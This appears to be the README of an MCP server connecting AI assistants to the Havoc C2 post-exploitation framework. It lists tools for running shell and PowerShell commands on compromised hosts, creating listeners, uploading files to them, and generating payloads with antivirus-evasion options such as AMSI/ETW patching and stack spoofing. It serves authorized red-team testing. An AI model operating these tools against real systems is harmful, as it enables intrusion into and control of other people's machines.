使用说明
Havoc C2 MCP Server
A Model Context Protocol (MCP) server for interacting with the Havoc C2 Framework - a modern, malleable post-exploitation command and control framework designed for red team operations and adversary simulation.
Overview
This MCP server enables AI assistants to interact with Havoc C2 infrastructure, providing programmatic access to demon management, listener configuration, payload generation, and command execution capabilities through the standardized MCP interface.
Features
| Feature | Description |
|---|---|
| Demon Management | List, inspect, and control active demons (agents) |
| Listener Management | Create, start, stop, and delete HTTP/HTTPS/SMB/TCP listeners |
| Payload Generation | Generate EXE, DLL, shellcode, PowerShell, and service executable payloads |
| Command Execution | Execute shell, PowerShell, and built-in commands on compromised hosts |
| File Operations | Upload and download files to/from demons |
| Module Support | Load and execute Havoc extension modules |
| Sleep Control | Configure beacon sleep intervals and jitter |
| Teamserver Integration | WebSocket connection to Havoc Service API |
Prerequisites
- Havoc Framework installed with teamserver running
- Service API endpoint configured in Havoc profile
- Node.js 18 or higher
- npm or yarn
Installation
# Clone the repository
git clone https://github.com/schwarztim/sec-havoc-c2-mcp.git
cd sec-havoc-c2-mcp
# Install dependencies
npm install
# Build the project
npm run build
Configuration
Environment Variables
| Variable | Description | Default |
|---|---|---|
HAVOC_HOST |
Teamserver hostname or IP | 127.0.0.1 |
HAVOC_PORT |
Teamserver port | 40056 |
HAVOC_SERVICE_ENDPOINT |
Service API endpoint path | service |
HAVOC_SERVICE_PASSWORD |
Service API password | Required |
HAVOC_USE_TLS |
Use secure WebSocket (WSS) | true |
HAVOC_OPERATOR |
Operator name for audit logging | mcp-operator |
Havoc Teamserver Configuration
Add a Service block to your Havoc profile (.yaotl):
Service {
Endpoint = "service"
Password = "your-secure-service-password"
}
MCP Client Configuration
Add to your MCP client configuration (e.g., Claude Desktop):
{
"mcpServers": {
"havoc-c2": {
"command": "node",
"args": ["/path/to/sec-havoc-c2-mcp/dist/index.js"],
"env": {
"HAVOC_HOST": "127.0.0.1",
"HAVOC_PORT": "40056",
"HAVOC_SERVICE_PASSWORD": "your-service-password"
}
}
}
}
Available Tools
Connection Management
| Tool | Description |
|---|---|
havoc_teamserver |
Get teamserver status, version, uptime, and connected operators |
havoc_connect |
Manually connect to teamserver (auto-connects if password configured) |
havoc_disconnect |
Disconnect from the teamserver |
Demon Operations
| Tool | Description |
|---|---|
havoc_demons |
List all active demons or get specific demon details by ID |
havoc_execute |
Execute built-in Havoc commands on a demon |
havoc_shell |
Execute shell commands via cmd.exe or /bin/sh |
havoc_powershell |
Execute PowerShell commands on Windows demons |
havoc_sleep |
Configure sleep interval and jitter percentage |
havoc_kill |
Terminate a demon |
Listener Operations
| Tool | Description |
|---|---|
havoc_listeners |
Manage listeners with actions: list, create, start, stop, delete |
Supported listener types:
- HTTP/HTTPS
- SMB (named pipes)
- TCP (raw)
Payload Operations
| Tool | Description |
|---|---|
havoc_payloads |
Generate, list, and download payloads |
Payload configuration options:
- Formats: exe, dll, shellcode, powershell, service-exe
- Architectures: x64, x86
- Evasion: Sleep mask (WaitForSingleObjectEx, FOLIAGE, Ekko), indirect syscalls, stack spoofing, AMSI/ETW patching
Module Operations
| Tool | Description |
|---|---|
havoc_modules |
List available modules, load modules, execute module commands |
File Operations
| Tool | Description |
|---|---|
havoc_upload |
Upload a local file to a demon |
havoc_download |
Download a file from a demon |
Usage Examples
List Active Demons
{
"tool": "havoc_demons"
}
Get Specific Demon Details
{
"tool": "havoc_demons",
"arguments": {
"demonId": "abc123def"
}
}
Execute Shell Command
{
"tool": "havoc_shell",
"arguments": {
"demonId": "abc123def",
"command": "whoami && hostname"
}
}
Execute PowerShell
{
"tool": "havoc_powershell",
"arguments": {
"demonId": "abc123def",
"command": "Get-Process | Select-Object -First 10"
}
}
Create HTTPS Listener
{
"tool": "havoc_listeners",
"arguments": {
"action": "create",
"name": "https-listener",
"type": "https",
"host": "0.0.0.0",
"port": 443
}
}
Generate Evasive Payload
{
"tool": "havoc_payloads",
"arguments": {
"action": "generate",
"listener": "https-listener",
"arch": "x64",
"format": "exe",
"sleepMask": true,
"sleepMaskTechnique": 2,
"indirectSyscall": true,
"stackSpoof": true,
"amsiEtwPatch": true
}
}
Set Demon Sleep Interval
{
"tool": "havoc_sleep",
"arguments": {
"demonId": "abc123def",
"sleep": 60,
"jitter": 30
}
}
Upload File to Demon
{
"tool": "havoc_upload",
"arguments": {
"demonId": "abc123def",
"localPath": "/path/to/local/file.exe",
"remotePath": "C:\\Windows\\Temp\\file.exe"
}
}
Development
# Run in development mode with auto-reload
npm run dev
# Type checking
npm run typecheck
# Lint code
npm run lint
# Build for production
npm run build
Architecture
havoc-c2-mcp/
├── src/
│ ├── index.ts # MCP server entry point and tool handlers
│ ├── havoc-client.ts # WebSocket client for Havoc Service API
│ └── types.ts # TypeScript type definitions
├── dist/ # Compiled JavaScript output
├── package.json
└── tsconfig.json
Security Notice
This tool is intended for authorized security testing only.
- Only use in environments where you have explicit written authorization
- Ensure compliance with all applicable laws and regulations
- Follow responsible disclosure practices
- Never use against systems you do not own or have permission to test
The authors assume no liability for misuse of this software.
References
License
This project is licensed under the MIT License - see the LICENSE file for details.
Contributing
Contributions are welcome! Please feel free to submit a Pull Request.
- Fork the repository
- Create your feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add some amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request